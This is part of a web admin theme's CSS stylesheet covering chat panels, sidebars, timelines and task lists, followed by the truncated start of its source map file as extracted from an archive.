.chat-list .list-group { margin-left: -1.07143em; margin-right: -1.07143em; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item { background: none; border: 0; border-top: 1px solid #eef1f2; padding: 1em 1.07143em; overflow: hidden; color: #999; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure { margin: 0; position: relative; margin-right: 10px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img { width: 40px; height: 40px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span { line-height: 1em; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: end; -moz-justify-content: end; -ms-justify-content: end; justify-content: end; -ms-flex-pack: end; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name { font-size: 14px; color: #444; margin-bottom: 5px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after { position: absolute; top: calc(50% + 15px); left: 0; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel { position: fixed; top: calc(100vh); right: calc( 240px + 15px); width: 310px; z-index: 9999; -moz-transform: translateY(-100%) translateX(14.0625rem); -o-transform: translateY(-100%) translateX(14.0625rem); -ms-transform: translateY(-100%) translateX(14.0625rem); -webkit-transform: translateY(-100%) translateX(14.0625rem); transform: translateY(-100%) translateX(14.0625rem); } .wrapper .page-wrap .chat-panel .card { border: none; margin-bottom: 1.42857em; border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); } .wrapper .page-wrap .chat-panel .card .card-header { background: none; padding: 1.07143em 1.42857em; font-size: 1.14286em; border-bottom: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-body { padding: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages { position: relative; max-height: 21.42857em; overflow-y: scroll; margin-top: -1.07143em; margin-right: -1.07143em; margin-left: -1.07143em; padding-top: 1.07143em; padding-right: 1.07143em; padding-left: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message { margin: 0.71429em 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child { margin-top: 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; margin: 0; position: relative; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img { width: 30px; height: 30px; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body { margin-top: .5em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; margin: auto 1.5em; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p { background: #404E67; border: 1px solid #404E67; border-radius: 3px; padding: .5em 1em; color: #fff; margin-bottom: .5em; position: relative; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; top: 1.25rem; right: -7px; left: auto; border-style: solid; border-width: 6px 0 7px 6px; border-color: transparent transparent transparent #404E67; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { right: -7px; border-left-color: #404E67; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p { background: #fff; border: 1px solid #eef1f2; border-radius: 0; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-radius: 3px; color: #666; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { left: -9px; border-right-color: #eef1f2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-footer { background: none; padding: 1.07143em 1.42857em; border-top: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-footer .list-icon { font-size: 1.125rem; } .wrapper .page-wrap .chat-panel .card .card-footer textarea { box-shadow: none; resize: none; padding: 0; width: 100%; min-height: auto; padding: 5px 0; } .wrapper.nav-collapsed .header-top { padding-left: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar { width: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover { width: 240px; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel { display: block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before { display: inline-block; } .wrapper.nav-collapsed .page-wrap .main-content { padding-left: 75px; } .wrapper.nav-collapsed .page-wrap .footer { padding-left: 90px; } .wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } .wrapper.right-sidebar-expand .right-sidebar { -moz-transform: translateX(0); -o-transform: translateX(0); -ms-transform: translateX(0); -webkit-transform: translateX(0); transform: translateX(0); } .wrapper.right-sidebar-expand .chat-panel { -moz-transform: translateY(-100%) translateX(0); -o-transform: translateY(-100%) translateX(0); -ms-transform: translateY(-100%) translateX(0); -webkit-transform: translateY(-100%) translateX(0); transform: translateY(-100%) translateX(0); } hr { box-sizing: content-box; height: 0; margin-top: 1rem; border: 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline { position: relative; padding-left: 40px; margin: 40px 10px 0 30px; border-left: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline .sl-item { margin-top: 8px; margin-bottom: 30px; } .profiletimeline .sl-item .sl-left { float: left; margin-left: -60px; z-index: 1; margin-right: 15px; } .profiletimeline .sl-item .sl-left img { max-width: 40px; } .profiletimeline .sl-item .sl-right .sl-date { font-size: 12px; color: #afb5c1; } .dd-handle { background: #f7f7f7; border-radius: 3px; padding: 20px; position: relative; display: block; text-decoration: none; margin: 5px 0; overflow: hidden; } .dd-handle p { margin: 0; } .dd-handle:after, .dd-handle::after { content: ''; width: 5px; height: 100%; position: absolute; top: 0; left: 0; } .dd-list { margin: 0; padding: 0; list-style: none; } .dd-list .dd-placeholder, .dd-list .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dd-list .dd-list { padding-left: 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); } .todo-task .dd-handle:after, .todo-task .dd-handle::after { background-color: #f5365c; } .progress-task .dd-handle:after, .progress-task .dd-handle::after { background-color: #F7CA18; } .completed-task .dd-handle:after, .completed-task .dd-handle::after { background-color: #26C281; } [class*="user--"]::after { height: 0.64286em; width: 0.64286em; display: block; position: absolute; top: 0; right: 10%; border-radius: 100px; content: ""; -webkit-box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 2px #fff; } .user--online:after { background: #06d6a0; } .user--busy:after { background: #ff3333; } .user--offline:after { background: #bbb; } /*# sourceMappingURL=theme.css.map */ css/theme.min.css.map000064400000274561151676702570010545 0ustar00{ "version": 3, "mappings": "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